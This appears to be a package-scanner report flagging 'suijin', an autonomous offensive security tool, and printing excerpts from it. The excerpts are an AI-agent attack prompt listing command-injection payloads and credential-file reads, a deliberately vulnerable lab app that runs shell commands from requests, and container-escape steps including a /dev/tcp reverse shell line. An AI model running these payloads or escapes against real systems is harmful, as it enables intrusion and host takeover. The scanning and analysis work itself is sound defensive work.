Hostile 100% python Download

suijin 6.6.0

Autonomous offensive security tool

“Suijin — autonomous red & blue teaming (formerly Medusa)”

Bash interactive reverse shell with stdin redirectionInline Python socket dup2 reverse shell

Evidence

imports os rce.py · lines 1–48
1"""
2Command Injection / RCE Attack Skill Prompt.
3
4Concrete mandatory workflow for command injection and RCE.
5"""
6
7RCE_SKILL_PROMPT = """
8## ATTACK SKILL: COMMAND INJECTION / RCE
9
10**CRITICAL: Target shows signs of command injection or RCE surface.**
11**Follow this workflow. Do not switch to SQLi/XSS unless you have proof**
12**that the current attack class is wrong.**
13
14---
15
16### DETECTION: Identify command injection surface
17
18A parameter is a CANDIDATE for command injection if:
19- It appears to be passed to a system command (ping, nslookup, traceroute, exec, system)
20- The response contains output that looks like command output (IP addresses, DNS results)
21- The parameter name suggests OS interaction: `cmd`, `exec`, `run`, `command`, `ping`, `host`, `ip`, `file`
⋯5 lines
27For each candidate parameter:
281. Send baseline value — note normal output
292. Append command separators with a harmless command:
30 - `; id`
31 - `| id`
32 - `|| id`
33 - `& id` (URL-encode as `%26`)
34 - `&& id`
35 - `` `id` `` (backtick injection, URL-encode as `%60id%60`)
36 - `$(id)` (URL-encode as `%24%28id%29`)
37 - Newline injection: `%0aid`
38
⋯5 lines
44Once confirmed:
451. **Recon**: `; id`, `; uname -a`, `; pwd`, `; ls -la`
462. **Read files**: `; cat /etc/passwd`, `; cat /flag.txt`, `; cat /app/config.py`
473. **Reverse shell** (if allowed):
48 ```
Extracts a request form field app.py · lines 217–238
217:23… 2": True, "routes": ["/api/v2/health", "/api/v2/executive"]})
218
219
220@app.route("/login", methods=["GET", "POST"])
221def login():
222 if request.method == "POST": # T1: user enumeration via timing
223 u = request.form.get("u", "")
224 p = request.form.get("p", "")
225 conn = _db()
226 row = conn.execute("SELECT * FROM users WHERE username=?", (u,)).fetchone()
227 conn.close()
228 if row and row["pw_hash"] == hashlib.md5(p.encode()).hexdigest():
229 tok = hashlib.sha256(f"{u}:{time.time()}".encode()).hexdigest()[:32]
230 conn = _db()
231 conn.execute("INSERT INTO sessions VALUES (?,?,?)", (tok, row["id"], time.time()))
232 conn.commit()
233 conn.close()
234 resp = jsonify({"ok": True, "token": tok, "role": row["role"]})
235 resp.set_cookie("session", tok)
236 return resp
237 if row:
238 …
imports base64 app.py · lines 488–510
⋯4 lines
492
493
494@app.post("/admin/exec")
495def admin_exec(): # CHAIN A terminus: SSTI'd exec (guarded by forged-JWT-only check)
496 tok = request.headers.get("Authorization", "").replace("Bearer ", "")
497 import base64
498 import hmac
499
500 try:
501 header_b64, payload_b64, sig = tok.split(".")
502 header = json.loads(base64.urlsafe_b64decode(header_b64 + "=="))
503 payload = json.loads(base64.urlsafe_b64decode(payload_b64 + "=="))
504 signing_input = f"{header_b64}.{payload_b64}".encode()
505 expected_hex = hmac.new(JWT_SECRET.encode(), signing_input, hashlib.sha256).hexdigest()
506 expected_b64 = (
507 base64.urlsafe_b64encode(hmac.new(JWT_SECRET.encode(), signing_input, hashlib.sha256).digest())
508 .decode()
509 .rstrip("=")
510 ) …
JSON result or response field key app.py · lines 518–531
518:10… t Exception:
519 return jsonify({"error": "bad token"}), 401
520 cmd = request.json.get("cmd", "id")
521 try:
522 out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) # noqa: S602 (the vuln)
523 return jsonify({"output": out.stdout[:600], "flag_hint": ROOT_FLAG_PATH})
524 except Exception as e:
525 return jsonify({"error": str(e)}), 500
⋯6 lines
HTTP Bearer authorization header prefix container_escape.py · lines 2–49
⋯8 lines
10#### STEP 1: DETECT CONTAINER
11```bash
12cat /proc/1/cgroup | grep docker
13ls -la /.dockerenv 2>/dev/null
14cat /proc/self/mountinfo | grep docker
15```
16
17#### STEP 2: DOCKER SOCKET ABUSE
18If `/var/run/docker.sock` is mounted:
19```bash
20docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh
21```
22
23#### STEP 3: PRIVILEGED CONTAINER
24If running with `--privileged`:
25```bash
26fdisk -l # see host disks
27mount /dev/sda1 /mnt && chroot /mnt
28# cgroup release_agent escape:
29mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
30mkdir /tmp/cgrp/x
31echo 1 > /tmp/cgrp/x/notify_on_release
32echo '#!/bin/sh' > /cmd && echo 'sh -i >& /dev/tcp/IP/PORT 0>&1' >> /cmd
33chmod +x /cmd
34echo "|/cmd" > /sys/kernel/security/lsm
35```
36
37#### STEP 4: CAPABILITIES ABUSE
38```bash
39capsh --print # list current capabilities
40# CAP_SYS_ADMIN -> mount, cgroups, kernel modules
41# CAP_SYS_PTRACE -> inject into host processes
42# CAP_DAC_READ_SEARCH -> read any file
43# CAP_NET_RAW -> packet sniffing
44```
45
46#### STEP 5: KUBERNETES ESCAPE
47```bash
48ls /var/run/secrets/kubernetes.io/serviceaccount/
49# If service account token exists:

Showing the top 5 files — 7 more files (73 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.